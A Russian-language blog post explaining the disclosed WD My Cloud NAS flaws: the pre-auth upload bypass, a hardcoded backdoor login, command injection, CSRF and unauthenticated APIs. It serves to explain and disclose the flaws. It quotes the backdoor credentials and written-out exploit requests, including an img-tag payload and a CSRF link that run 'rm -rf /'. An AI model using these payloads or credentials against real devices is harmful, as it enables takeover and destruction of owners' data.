[litleleprikon]

Blog of one technomaniac

View on GitHub

WD-PWND | Уязвимости в линейке сетевых хранилищ WD My Cloud

08 January 2018

Опубликованы сведения об уязвимостях в линейке NAS(Network Attached Storage) My Cloud компании Western Digital. Исследователь James Bercegay выявил уязвимости pre auth remote code execution, а также зашитый в прошивку админский логин/пароль в следующих моделях NAS:

  1. MyCloud
  2. MyCloudMirror
  3. My Cloud Gen 2
  4. My Cloud PR2100
  5. My Cloud PR4100
  6. My Cloud EX2 Ultra
  7. My Cloud EX2
  8. My Cloud EX4
  9. My Cloud EX2100
  10. My Cloud EX4100
  11. My Cloud DL2100
  12. My Cloud DL4100

В то же время MyCloud 04.X Series, MyCloud 2.30.174 не подвержены данным уязвимостям.

WD My Cloud

Уязвимость Remote Code Execution

Корень уязвимостей в не правильном использовании встроенной функции php gethostbyaddr. Как говорится в документации по этой функции:

Возвращает адрес хоста в случае успеха, не модифицированный ip адрес в случае, если не получается получить название хоста и FALSE в случае некорректного ip.

Ошибка №1

В данном участке кода заголовок Host из запроса используется для определения удаленного сервера аутентификации, что позволяет атакующему подменить сервер аутентификации на подконтрольный ему посредством HTTP запроса с измененным заголовком Host. Если же послать HTTP запрос с некорректным заголовком Host, в переменную ip будет установлено значение FALSE.

$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri =  $_REQUEST['redirect_uri']; 

//echo $name ."
".$pwd."
".$ip;

Ошибка №2

В данном учатке кода запрос будет падать и переменная request будет иметь значение FALSE в случае некорректного заголовка Host из предыдущего пункта.

$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));

Ошибка №3

Функция strstr принимает два параметра и возвращает подстроку, из строки, переданной первым параметром такую, что она начинается на строку, переданную вторым параметром и заканчивается концом первой строки.

php > echo strstr("1230123","0");
0123

В данном участке кода переменная result содержит значение FALSE и функция strstr вернет пустую сроку.

$result_1 = strstr($result,"0");
$result_1 = substr ($result_1, 0,28);

Ошибка №5

В данном куске кода функция strncmp неправильно используется для определения ошибки логина, причем проверяется только конкретные значения переменной result_1 и таким образом условие strncmp ($result_1,"0",28) == 0 не будет выполняться при неожиданных значениях result_1, давая возможность произвести неавторизованную загрузку файла.

if (strncmp ($result_1,"0",28) == 0 )
{
  header("HTTP/1.1 302 Found");
  header("Location: ".$redirect_uri."?status=0");
  exit();   
}

На данном этапе все проверки пройдены и дальше начинает работать код для загрузки файлов. В дальнейшем, можно загрузить файл без аутентификации и авторизации. Для использования уязвимости достаточно:

  1. Отправить HTTP запрос с невалидным ip адресом в заголовке Host
  2. Приложить файл в параметре Filedata[0]
  3. Указать папку для загрузки файла, используя параметр folder

Автор также написал плагин для Metasploit, который загружает PHP шелл в папку /var/www и вызывает этот шелл.

Захардкоженные параметры для входа

Уязвимость находится в CGI скрипте, находящемся по адресу /usr/local/modules/cgi/nas_sharing.cgi. CGI скрипт является линуксовым ELF файлом и после декомпиляции получается такой код:

struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2)
{
  const char *v2; // [email protected]
  const char *v3; // [email protected]
  struct passwd *result; // [email protected]
  FILE *v5; // [email protected]
  struct passwd *v6; // [email protected]
  const char *v7; // [email protected]
  size_t v8; // [email protected]
  int v9; // [sp+0h] [bp-1090h]@1
  char s; // [sp+1000h] [bp-90h]@1
  char dest; // [sp+1040h] [bp-50h]@1

  v2 = a2;
  v3 = a1;
  memset(&s, 0, 0x40u);
  memset(&dest, 0, 0x40u);
  memset(&v9, 0, 0x1000u);
  if ( *v2 )
  {
    v8 = strlen(v2);
    _b64_pton(v2, (u_char *)&v9, v8);
    if ( dword_2C2E4 )
    {
      sub_1194C((const char *)&unk_1B1A4, v2);
      sub_1194C("pwd decode[%s]\n", &v9);
    }
  }
  if (!strcmp(v3, "mydlinkBRionyg") 
  &&  !strcmp((const char *)&v9, "abc12345cba") )
  {
    result = (struct passwd *)1;
  }
  else
  {
    v5 = (FILE *)fopen64("/etc/shadow", "r");
    while ( 1 )
    {
      result = fgetpwent(v5);
      v6 = result;
      if ( !result )
        break;
      if ( !strcmp(result->pw_name, v3) )
      {
        strcpy(&s, v6->pw_passwd);
        fclose(v5);
        strcpy(&dest, (const char *)&v9);
        v7 = (const char *)sub_1603C(&dest, &s);
        return (struct passwd *)(strcmp(v7, &s) == 0);
      }
    }
  }
  return result;
}

Тут можно увидеть, что присутствует проверка на захардкоженные данные для входа:

if (!strcmp(v3, "mydlinkBRionyg") && !strcmp((const char *)&v9, "abc12345cba") )

Таким образом возможно аутентифицироваться, используя логин mydlinkBRionyg и пароль abc12345cba. Далее, используя метод 51, который содержит уязвимость выполнения команд можно выполнить любую команду от рута, используя следующий HTTP запрос:

GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlinkBRionyg&passwd=YWJjMT
IzNDVjYmE&start=1&count=1;touch+/tmp/gulftech; HTTP/1.1

Встроив в страничку картинку следующим образом возможно добиться удаления всего на данном хранилице:

<img src="http://wdmycloud/cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlin
kBRionyg&passwd=YWJjMTIzNDVjYmE&start=1&count=1;rm+-rf+/;">

Другие уязвимости

Также в прошивке сетевых хранилищ найдены следующие уязвимости:

CSRF

Прошивка не содержит никакой защиты от CSRF, таким образом если заставить залогиненного админа перейти по ссылке вида:

http://wdmycloud/web/dsdk/DsdkProxy.php?;rm -rf /;

Исполнение команд

class RemoteBackupsAPI{
    public function getRecoverItems()
    {
        $xmlPath = "/var/www/xml/rsync_recover_items.xml";
        $jobName = $_REQUEST['jobName'];

        @unlink($xmlPath);

        $cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null";
        system($cmd);

        if (file_exists($xmlPath))
        {
            print file_get_contents($xmlPath);
        }
        else
        {
            print "";
        }
    }
}

Тут для создания команды параметр jobName, из HTTP запроса. Передав в jobName, например jobname > /dev/null; rm -rf, можно спровацировать исполнение данной команды.

Неавторизованная смена языка интерфейса

Используя незащищенный аутентификацией и авторизацией метод API, возможно менять язык интерфейса для всех пользователей. В примере для всех пользователей ставится корейский язык интерфейса: GET http://wdmycloud/cgi-bin/login_mgr.cgi?cmd=cgi_language&f_language=7 HTTP/1.1

Неавторизованный доступ к данным

Послав HTTP запрос на GET /api/2.1/rest/users? HTTP/1.1, возможно увидеть список всех пользователей. Данный метод API не требует аутентификации.

Из материалов о данных уязвимостях можно сделать вывод, что нередки ситуации, когда довольно важное ПО разрабатывается людьми, плохо разбирающимися в информационной безопасности, или не задумывающимися над ней.

WD My Cloud